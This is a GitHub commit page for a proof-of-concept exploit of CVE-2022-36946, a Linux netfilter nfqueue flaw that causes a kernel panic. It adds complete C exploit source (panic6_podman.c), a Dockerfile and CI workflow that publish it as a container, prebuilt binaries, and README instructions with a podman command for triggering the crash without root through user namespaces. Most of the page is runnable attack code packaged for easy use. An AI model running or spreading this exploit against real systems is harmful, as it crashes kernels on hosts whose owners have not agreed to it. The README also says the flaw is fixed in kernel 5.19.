Skip to content

Commit

Permalink
Merge pull request #2 from Pwnzer0tt1/unprivileged
Browse files Browse the repository at this point in the history
Unprivileged POC
  • Loading branch information
domysh committed Sep 8, 2023
2 parents 09e5886 + 2106c57 commit edf2764
Show file tree
Hide file tree
Showing 267 changed files with 433 additions and 44 deletions.
53 changes: 53 additions & 0 deletions .github/workflows/docker-image.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
name: Create and publish a Docker image

on:
release:
types:
- published

env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}

jobs:
build-and-push-image:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write

steps:
- name: Checkout repository
uses: actions/checkout@v3

- name: Set up QEMU
uses: docker/setup-qemu-action@master
with:
platforms: all

- name: Set up Docker Buildx
id: buildx
uses: docker/setup-buildx-action@master

- name: Log in to the Container registry
uses: docker/login-action@v2
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}

- name: Extract metadata (tags, labels) for Docker
id: meta
uses: docker/metadata-action@v4
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}

- name: Build and push Docker image
uses: docker/build-push-action@v3
with:
context: .
builder: ${{ steps.buildx.outputs.name }}
platforms: linux/amd64,linux/arm64
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
9 changes: 9 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
FROM debian

RUN apt-get update
RUN apt-get install -y libnetfilter-queue-dev libmnl-dev libnfnetlink-dev iptables gcc
WORKDIR /exploit
COPY panic6_podman.c panic6.c

RUN cc panic6.c -o nfpanic -lmnl -lnetfilter_queue
CMD ["./nfpanic"]
16 changes: 16 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,22 @@ So, if user truncates the packet below the header size, this skb\_pull() will re

Try it executing [this](/panic6.c) c source code.

# Do we *really* need root...?

Using linux namespaces, in particular user namespaces (enabled via `kernel.unprivileged_userns_clone=1`), a normal user is able
to create a network namespace, enabling them to use the same kernel primitives that trigger the panic.
This will allow you to use the vulnerability without having root.

This scenario is not uncommon: for example [podman](https://podman.io/) uses this option to run its (rootless) containers,
and on some distros this option is enabled by default.

You can also try to execute the exploit without root privileges executing:

```bash
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
```


# Fix up

Fixed in linux kernel 5.19 [view diff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/netfilter/nfnetlink_queue.c?id=v5.19&id2=v5.18)
Expand Down
Binary file added amd64/ip
Binary file not shown.
Binary file added amd64/iptables
Binary file not shown.
Binary file added amd64/ld-linux.so.1
Binary file not shown.
Binary file added amd64/libbpf.so.1
Binary file not shown.
Binary file added amd64/libc.so.6
Binary file not shown.
Binary file added amd64/libcap.so.2
Binary file not shown.
Binary file added amd64/libelf.so.1
Binary file not shown.
Binary file added amd64/libgcc_s.so.1
Binary file not shown.
Binary file added amd64/libm.so.6
Binary file not shown.
Binary file added amd64/libmnl.so.0
Binary file not shown.
Binary file added amd64/libnetfilter_queue.so.1
Binary file not shown.
Binary file added amd64/libnfnetlink.so.0
Binary file not shown.
Binary file added amd64/libnftnl.so.11
Binary file not shown.
Binary file added amd64/libstdc++.so.6
Binary file not shown.
Binary file added amd64/libxtables.so.12
Binary file not shown.
Binary file added amd64/libz.so.1
Binary file not shown.
Binary file added amd64/libzstd.so.1
Binary file not shown.
Binary file added amd64/nfpanic
Binary file not shown.
Binary file added amd64/xtables/libarpt_mangle.so
Binary file not shown.
Binary file added amd64/xtables/libebt_802_3.so
Binary file not shown.
Binary file added amd64/xtables/libebt_among.so
Binary file not shown.
Binary file added amd64/xtables/libebt_arp.so
Binary file not shown.
Binary file added amd64/xtables/libebt_arpreply.so
Binary file not shown.
Binary file added amd64/xtables/libebt_dnat.so
Binary file not shown.
Binary file added amd64/xtables/libebt_ip.so
Binary file not shown.
Binary file added amd64/xtables/libebt_ip6.so
Binary file not shown.
Binary file added amd64/xtables/libebt_log.so
Binary file not shown.
Binary file added amd64/xtables/libebt_mark.so
Binary file not shown.
Binary file added amd64/xtables/libebt_mark_m.so
Binary file not shown.
Binary file added amd64/xtables/libebt_nflog.so
Binary file not shown.
Binary file added amd64/xtables/libebt_pkttype.so
Binary file not shown.
Binary file added amd64/xtables/libebt_redirect.so
Binary file not shown.
Binary file added amd64/xtables/libebt_snat.so
Binary file not shown.
Binary file added amd64/xtables/libebt_stp.so
Binary file not shown.
Binary file added amd64/xtables/libebt_vlan.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_DNPT.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_HL.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_NETMAP.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_REJECT.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_SNPT.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_ah.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_dst.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_eui64.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_frag.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_hbh.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_icmp6.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_ipv6header.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_mh.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_rt.so
Binary file not shown.
Binary file added amd64/xtables/libip6t_srh.so
Binary file not shown.
Binary file added amd64/xtables/libipt_CLUSTERIP.so
Binary file not shown.
Binary file added amd64/xtables/libipt_ECN.so
Binary file not shown.
Binary file added amd64/xtables/libipt_NETMAP.so
Binary file not shown.
Binary file added amd64/xtables/libipt_REJECT.so
Binary file not shown.
Binary file added amd64/xtables/libipt_TTL.so
Binary file not shown.
Binary file added amd64/xtables/libipt_ULOG.so
Binary file not shown.
Binary file added amd64/xtables/libipt_ah.so
Binary file not shown.
Binary file added amd64/xtables/libipt_icmp.so
Binary file not shown.
Binary file added amd64/xtables/libipt_realm.so
Binary file not shown.
Binary file added amd64/xtables/libxt_AUDIT.so
Binary file not shown.
Binary file added amd64/xtables/libxt_CHECKSUM.so
Binary file not shown.
Binary file added amd64/xtables/libxt_CLASSIFY.so
Binary file not shown.
Binary file added amd64/xtables/libxt_CONNMARK.so
Binary file not shown.
Binary file added amd64/xtables/libxt_CONNSECMARK.so
Binary file not shown.
Binary file added amd64/xtables/libxt_CT.so
Binary file not shown.
1 change: 1 addition & 0 deletions amd64/xtables/libxt_DNAT.so
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
libxt_NAT.so
Binary file added amd64/xtables/libxt_DSCP.so
Binary file not shown.
Binary file added amd64/xtables/libxt_HMARK.so
Binary file not shown.
Binary file added amd64/xtables/libxt_IDLETIMER.so
Binary file not shown.
Binary file added amd64/xtables/libxt_LED.so
Binary file not shown.
Binary file added amd64/xtables/libxt_LOG.so
Binary file not shown.
Binary file added amd64/xtables/libxt_MARK.so
Binary file not shown.
1 change: 1 addition & 0 deletions amd64/xtables/libxt_MASQUERADE.so
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
libxt_NAT.so
Binary file added amd64/xtables/libxt_NAT.so
Binary file not shown.
Binary file added amd64/xtables/libxt_NFLOG.so
Binary file not shown.
Binary file added amd64/xtables/libxt_NFQUEUE.so
Binary file not shown.
1 change: 1 addition & 0 deletions amd64/xtables/libxt_NOTRACK.so
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
libxt_CT.so
Binary file added amd64/xtables/libxt_RATEEST.so
Binary file not shown.
1 change: 1 addition & 0 deletions amd64/xtables/libxt_REDIRECT.so
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
libxt_NAT.so
Binary file added amd64/xtables/libxt_SECMARK.so
Binary file not shown.
Binary file added amd64/xtables/libxt_SET.so
Binary file not shown.
1 change: 1 addition & 0 deletions amd64/xtables/libxt_SNAT.so
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
libxt_NAT.so
Binary file added amd64/xtables/libxt_SYNPROXY.so
Binary file not shown.
Binary file added amd64/xtables/libxt_TCPMSS.so
Binary file not shown.
Binary file added amd64/xtables/libxt_TCPOPTSTRIP.so
Binary file not shown.
Binary file added amd64/xtables/libxt_TEE.so
Binary file not shown.
Binary file added amd64/xtables/libxt_TOS.so
Binary file not shown.
Binary file added amd64/xtables/libxt_TPROXY.so
Binary file not shown.
Binary file added amd64/xtables/libxt_TRACE.so
Binary file not shown.
Binary file added amd64/xtables/libxt_addrtype.so
Binary file not shown.
Binary file added amd64/xtables/libxt_bpf.so
Binary file not shown.
Binary file added amd64/xtables/libxt_cgroup.so
Binary file not shown.
Binary file added amd64/xtables/libxt_cluster.so
Binary file not shown.
Binary file added amd64/xtables/libxt_comment.so
Binary file not shown.
Binary file added amd64/xtables/libxt_connbytes.so
Binary file not shown.
Binary file added amd64/xtables/libxt_connlabel.so
Binary file not shown.
Binary file added amd64/xtables/libxt_connlimit.so
Binary file not shown.
Binary file added amd64/xtables/libxt_conntrack.so
Binary file not shown.
Binary file added amd64/xtables/libxt_cpu.so
Binary file not shown.
Binary file added amd64/xtables/libxt_dccp.so
Binary file not shown.
Binary file added amd64/xtables/libxt_devgroup.so
Binary file not shown.
Binary file added amd64/xtables/libxt_ecn.so
Binary file not shown.
Binary file added amd64/xtables/libxt_esp.so
Binary file not shown.
Binary file added amd64/xtables/libxt_hashlimit.so
Binary file not shown.
Binary file added amd64/xtables/libxt_helper.so
Binary file not shown.
Binary file added amd64/xtables/libxt_ipcomp.so
Binary file not shown.
Binary file added amd64/xtables/libxt_iprange.so
Binary file not shown.
Binary file added amd64/xtables/libxt_ipvs.so
Binary file not shown.
Binary file added amd64/xtables/libxt_length.so
Binary file not shown.
Binary file added amd64/xtables/libxt_limit.so
Binary file not shown.
Binary file added amd64/xtables/libxt_mac.so
Binary file not shown.
Binary file added amd64/xtables/libxt_multiport.so
Binary file not shown.
Binary file added amd64/xtables/libxt_nfacct.so
Binary file not shown.
Binary file added amd64/xtables/libxt_osf.so
Binary file not shown.
Binary file added amd64/xtables/libxt_owner.so
Binary file not shown.
Binary file added amd64/xtables/libxt_physdev.so
Binary file not shown.
Binary file added amd64/xtables/libxt_pkttype.so
Binary file not shown.
Binary file added amd64/xtables/libxt_policy.so
Binary file not shown.
Binary file added amd64/xtables/libxt_quota.so
Binary file not shown.
Binary file added amd64/xtables/libxt_recent.so
Binary file not shown.
Binary file added amd64/xtables/libxt_rpfilter.so
Binary file not shown.
Binary file added amd64/xtables/libxt_sctp.so
Binary file not shown.
Binary file added amd64/xtables/libxt_socket.so
Binary file not shown.
Binary file added amd64/xtables/libxt_standard.so
Binary file not shown.
1 change: 1 addition & 0 deletions amd64/xtables/libxt_state.so
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
libxt_conntrack.so
Binary file added amd64/xtables/libxt_statistic.so
Binary file not shown.
Binary file added amd64/xtables/libxt_string.so
Binary file not shown.
Binary file added amd64/xtables/libxt_tcp.so
Binary file not shown.
Binary file added amd64/xtables/libxt_time.so
Binary file not shown.
Binary file added amd64/xtables/libxt_u32.so
Binary file not shown.
Binary file added amd64/xtables/libxt_udp.so
Binary file not shown.
Binary file added arm64/ip
Binary file not shown.
Binary file added arm64/iptables
Binary file not shown.
Binary file added arm64/ld-linux.so.1
Binary file not shown.
Binary file added arm64/libbpf.so.0
Binary file not shown.
Binary file added arm64/libbsd.so.0
Binary file not shown.
Binary file added arm64/libc.so.6
Binary file not shown.
Binary file added arm64/libcap.so.2
Binary file not shown.
Binary file added arm64/libelf.so.1
Binary file not shown.
Binary file added arm64/libmd.so.0
Binary file not shown.
Binary file added arm64/libmnl.so.0
Binary file not shown.
Binary file added arm64/libnetfilter_queue.so.1
Binary file not shown.
Binary file added arm64/libnfnetlink.so.0
Binary file not shown.
Binary file added arm64/libnftnl.so.11
Binary file not shown.
Binary file added arm64/libxtables.so.12
Binary file not shown.
Binary file added arm64/libz.so.1
Binary file not shown.
Binary file added arm64/nfpanic
Binary file not shown.
Binary file added arm64/xtables/libarpt_mangle.so
Binary file not shown.
Binary file added arm64/xtables/libebt_802_3.so
Binary file not shown.
Binary file added arm64/xtables/libebt_among.so
Binary file not shown.
Binary file added arm64/xtables/libebt_arp.so
Binary file not shown.
Binary file added arm64/xtables/libebt_arpreply.so
Binary file not shown.
Binary file added arm64/xtables/libebt_dnat.so
Binary file not shown.
Binary file added arm64/xtables/libebt_ip.so
Binary file not shown.
Binary file added arm64/xtables/libebt_ip6.so
Binary file not shown.
Binary file added arm64/xtables/libebt_log.so
Binary file not shown.
Binary file added arm64/xtables/libebt_mark.so
Binary file not shown.
Binary file added arm64/xtables/libebt_mark_m.so
Binary file not shown.
Binary file added arm64/xtables/libebt_nflog.so
Binary file not shown.
Binary file added arm64/xtables/libebt_pkttype.so
Binary file not shown.
Binary file added arm64/xtables/libebt_redirect.so
Binary file not shown.
Binary file added arm64/xtables/libebt_snat.so
Binary file not shown.
Binary file added arm64/xtables/libebt_stp.so
Binary file not shown.
Binary file added arm64/xtables/libebt_vlan.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_DNPT.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_HL.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_NETMAP.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_REJECT.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_SNPT.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_ah.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_dst.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_eui64.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_frag.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_hbh.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_icmp6.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_ipv6header.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_mh.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_rt.so
Binary file not shown.
Binary file added arm64/xtables/libip6t_srh.so
Binary file not shown.
Binary file added arm64/xtables/libipt_CLUSTERIP.so
Binary file not shown.
Binary file added arm64/xtables/libipt_ECN.so
Binary file not shown.
Binary file added arm64/xtables/libipt_NETMAP.so
Binary file not shown.
Binary file added arm64/xtables/libipt_REJECT.so
Binary file not shown.
Binary file added arm64/xtables/libipt_TTL.so
Binary file not shown.
Binary file added arm64/xtables/libipt_ULOG.so
Binary file not shown.
Binary file added arm64/xtables/libipt_ah.so
Binary file not shown.
Binary file added arm64/xtables/libipt_icmp.so
Binary file not shown.
Binary file added arm64/xtables/libipt_realm.so
Binary file not shown.
Binary file added arm64/xtables/libxt_AUDIT.so
Binary file not shown.
Binary file added arm64/xtables/libxt_CHECKSUM.so
Binary file not shown.
Binary file added arm64/xtables/libxt_CLASSIFY.so
Binary file not shown.
Binary file added arm64/xtables/libxt_CONNMARK.so
Binary file not shown.
Binary file added arm64/xtables/libxt_CONNSECMARK.so
Binary file not shown.
Binary file added arm64/xtables/libxt_CT.so
Binary file not shown.
1 change: 1 addition & 0 deletions arm64/xtables/libxt_DNAT.so
Binary file added arm64/xtables/libxt_DSCP.so
Binary file not shown.
Binary file added arm64/xtables/libxt_HMARK.so
Binary file not shown.
Binary file added arm64/xtables/libxt_IDLETIMER.so
Binary file not shown.
Binary file added arm64/xtables/libxt_LED.so
Binary file not shown.
Binary file added arm64/xtables/libxt_LOG.so
Binary file not shown.
Binary file added arm64/xtables/libxt_MARK.so
Binary file not shown.
1 change: 1 addition & 0 deletions arm64/xtables/libxt_MASQUERADE.so
Binary file added arm64/xtables/libxt_NAT.so
Binary file not shown.
Binary file added arm64/xtables/libxt_NFLOG.so
Binary file not shown.
Binary file added arm64/xtables/libxt_NFQUEUE.so
Binary file not shown.
1 change: 1 addition & 0 deletions arm64/xtables/libxt_NOTRACK.so
Binary file added arm64/xtables/libxt_RATEEST.so
Binary file not shown.
1 change: 1 addition & 0 deletions arm64/xtables/libxt_REDIRECT.so
Binary file added arm64/xtables/libxt_SECMARK.so
Binary file not shown.
Binary file added arm64/xtables/libxt_SET.so
Binary file not shown.
1 change: 1 addition & 0 deletions arm64/xtables/libxt_SNAT.so
Binary file added arm64/xtables/libxt_SYNPROXY.so
Binary file not shown.
Binary file added arm64/xtables/libxt_TCPMSS.so
Binary file not shown.
Binary file added arm64/xtables/libxt_TCPOPTSTRIP.so
Binary file not shown.
Binary file added arm64/xtables/libxt_TEE.so
Binary file not shown.
Binary file added arm64/xtables/libxt_TOS.so
Binary file not shown.
Binary file added arm64/xtables/libxt_TPROXY.so
Binary file not shown.
Binary file added arm64/xtables/libxt_TRACE.so
Binary file not shown.
Binary file added arm64/xtables/libxt_addrtype.so
Binary file not shown.
Binary file added arm64/xtables/libxt_bpf.so
Binary file not shown.
Binary file added arm64/xtables/libxt_cgroup.so
Binary file not shown.
Binary file added arm64/xtables/libxt_cluster.so
Binary file not shown.
Binary file added arm64/xtables/libxt_comment.so
Binary file not shown.
Binary file added arm64/xtables/libxt_connbytes.so
Binary file not shown.
Binary file added arm64/xtables/libxt_connlabel.so
Binary file not shown.
Binary file added arm64/xtables/libxt_connlimit.so
Binary file not shown.
Binary file added arm64/xtables/libxt_conntrack.so
Binary file not shown.
Binary file added arm64/xtables/libxt_cpu.so
Binary file not shown.
Binary file added arm64/xtables/libxt_dccp.so
Binary file not shown.
Binary file added arm64/xtables/libxt_devgroup.so
Binary file not shown.
Binary file added arm64/xtables/libxt_ecn.so
Binary file not shown.
Binary file added arm64/xtables/libxt_esp.so
Binary file not shown.
Binary file added arm64/xtables/libxt_hashlimit.so
Binary file not shown.
Binary file added arm64/xtables/libxt_helper.so
Binary file not shown.
Binary file added arm64/xtables/libxt_ipcomp.so
Binary file not shown.
Binary file added arm64/xtables/libxt_iprange.so
Binary file not shown.
Binary file added arm64/xtables/libxt_ipvs.so
Binary file not shown.
Binary file added arm64/xtables/libxt_length.so
Binary file not shown.
Binary file added arm64/xtables/libxt_limit.so
Binary file not shown.
Binary file added arm64/xtables/libxt_mac.so
Binary file not shown.
Binary file added arm64/xtables/libxt_multiport.so
Binary file not shown.
Binary file added arm64/xtables/libxt_nfacct.so
Binary file not shown.
Binary file added arm64/xtables/libxt_osf.so
Binary file not shown.
Binary file added arm64/xtables/libxt_owner.so
Binary file not shown.
Binary file added arm64/xtables/libxt_physdev.so
Binary file not shown.
Binary file added arm64/xtables/libxt_pkttype.so
Binary file not shown.
Binary file added arm64/xtables/libxt_policy.so
Binary file not shown.
Binary file added arm64/xtables/libxt_quota.so
Binary file not shown.
Binary file added arm64/xtables/libxt_recent.so
Binary file not shown.
Binary file added arm64/xtables/libxt_rpfilter.so
Binary file not shown.
Binary file added arm64/xtables/libxt_sctp.so
Binary file not shown.
Binary file added arm64/xtables/libxt_socket.so
Binary file not shown.
Binary file added arm64/xtables/libxt_standard.so
Binary file not shown.
1 change: 1 addition & 0 deletions arm64/xtables/libxt_state.so
Binary file added arm64/xtables/libxt_statistic.so
Binary file not shown.
Binary file added arm64/xtables/libxt_string.so
Binary file not shown.
Binary file added arm64/xtables/libxt_tcp.so
Binary file not shown.
Binary file added arm64/xtables/libxt_time.so
Binary file not shown.
Binary file added arm64/xtables/libxt_u32.so
Binary file not shown.
Binary file added arm64/xtables/libxt_udp.so
Binary file not shown.
93 changes: 49 additions & 44 deletions panic6.c
Original file line number Diff line number Diff line change
Expand Up @@ -10,55 +10,60 @@
#include <sys/socket.h>
#include <string.h>

//How to compile:
//cc panic6.c -o nfpanic -lmnl -lnetfilter_queue && sudo setcap "CAP_NET_ADMIN+ep" ./nfpanic && ./nfpanic
// How to compile:
// cc panic6.c -o nfpanic -lmnl -lnetfilter_queue && sudo setcap "CAP_NET_ADMIN+ep" ./nfpanic && ./nfpanic

int socket_conn(uint16_t port)
{
int sockfd, connfd;
struct sockaddr_in servaddr, cli;

// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
if (sockfd == -1) {
perror("socket creation failed");
exit(EXIT_FAILURE);
}
bzero(&servaddr, sizeof(servaddr));

// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(port);

// connect the client socket to server socket
connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
int sockfd, connfd;
struct sockaddr_in servaddr, cli;

// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
if (sockfd == -1)
{
perror("socket creation failed");
exit(EXIT_FAILURE);
}
bzero(&servaddr, sizeof(servaddr));

// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(port);

// connect the client socket to server socket
connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
return sockfd;
}

int main(int argc, char *argv[])
{
size_t BUF_SIZE = 0xffff+(MNL_SOCKET_BUFFER_SIZE/2);
size_t BUF_SIZE = 0xffff + (MNL_SOCKET_BUFFER_SIZE / 2);
char buf[BUF_SIZE];
uint16_t queue_num = 1337;
struct nlmsghdr *nlh;

puts("[*] Creating the socket with the kernel");
struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror( "mnl_socket_open" );
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
{
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
puts("[*] Binding the socket");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror( "mnl_socket_bind" );
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
{
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}

printf("[*] Sending the BIND command for the nfqueue %d\n",queue_num);
printf("[*] Sending the BIND command for the nfqueue %d\n", queue_num);
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num);
nfq_nlmsg_cfg_put_cmd(nlh, AF_INET, NFQNL_CFG_CMD_BIND);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
perror( "mnl_socket_send" );
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}

Expand All @@ -67,38 +72,38 @@ int main(int argc, char *argv[])
nfq_nlmsg_cfg_put_params(nlh, NFQNL_COPY_META, 0xffff);
mnl_attr_put_u32(nlh, NFQA_CFG_FLAGS, htonl(NFQA_CFG_F_GSO));
mnl_attr_put_u32(nlh, NFQA_CFG_MASK, htonl(NFQA_CFG_F_GSO));
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
perror( "mnl_socket_send" );
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}

printf("[*] You need to associate to this queue the port 1337: sudo iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
puts("Press ENTER to contiune (and panic)");
getchar();

puts("[*] Sending a connection packet to nfqueue");
socket_conn(1337);


puts("[*] Waiting for a packet in the nfqueue");
if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1) {
perror( "mnl_socket_recvfrom" );
if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1)
{
perror("mnl_socket_recvfrom");
exit(EXIT_FAILURE);
}

puts("[*] Sending the verdict with a NULL pointer and len = 0");
puts("[*] Setting the verdict with a NULL pointer and len = 0");
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT);

puts("[*] Sending the verdict to the kernel, Good panic :D");
sleep(1); //Only to see the print
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
perror( "mnl_socket_send" );
sleep(1); // Only to see the print
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}
puts("[*] Are you still alive?");

puts("[*] Are you still alive? Probably your kernel is not vulnerable :(");
return EXIT_SUCCESS;
}


115 changes: 115 additions & 0 deletions panic6_podman.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
#include <arpa/inet.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <linux/netfilter/nfnetlink_conntrack.h>
#include <libmnl/libmnl.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/types.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>

// How to compile:
// cc panic6.c -o nfpanic -lmnl -lnetfilter_queue && sudo setcap "CAP_NET_ADMIN+ep" ./nfpanic && ./nfpanic

int socket_conn(uint16_t port)
{
int sockfd, connfd;
struct sockaddr_in servaddr, cli;

// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
if (sockfd == -1)
{
perror("socket creation failed");
exit(EXIT_FAILURE);
}
bzero(&servaddr, sizeof(servaddr));

// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(port);

// connect the client socket to server socket
connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
return sockfd;
}

int main(int argc, char *argv[])
{
size_t BUF_SIZE = 0xffff + (MNL_SOCKET_BUFFER_SIZE / 2);
char buf[BUF_SIZE];
uint16_t queue_num = 1337;
struct nlmsghdr *nlh;

puts("[*] Creating the socket with the kernel");
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
{
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
puts("[*] Binding the socket");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
{
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}

printf("[*] Sending the BIND command for the nfqueue %d\n", queue_num);
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num);
nfq_nlmsg_cfg_put_cmd(nlh, AF_INET, NFQNL_CFG_CMD_BIND);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}

puts("[*] Setting config to COPY_META mode");
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num);
nfq_nlmsg_cfg_put_params(nlh, NFQNL_COPY_META, 0xffff);
mnl_attr_put_u32(nlh, NFQA_CFG_FLAGS, htonl(NFQA_CFG_F_GSO));
mnl_attr_put_u32(nlh, NFQA_CFG_MASK, htonl(NFQA_CFG_F_GSO));
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}

puts("[*] Linking the nfqueue to a real connection through iptables");
char cmd[200];
sprintf(cmd, "iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
if (system(cmd) != 0)
{
perror("system");
exit(EXIT_FAILURE);
}

puts("[*] Sending a connection packet to nfqueue");
socket_conn(1337);

puts("[*] Waiting for a packet in the nfqueue");
if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1)
{
perror("mnl_socket_recvfrom");
exit(EXIT_FAILURE);
}

puts("[*] Sending the verdict with a NULL pointer and len = 0");
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT);

puts("[*] Sending the verdict to the kernel, Good panic :D");
sleep(1); // Only to see the print
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}

puts("[*] Are you still alive? Probably your kernel is not vulnerable :(");
return EXIT_SUCCESS;
}

0 comments on commit edf2764

Please sign in to comment.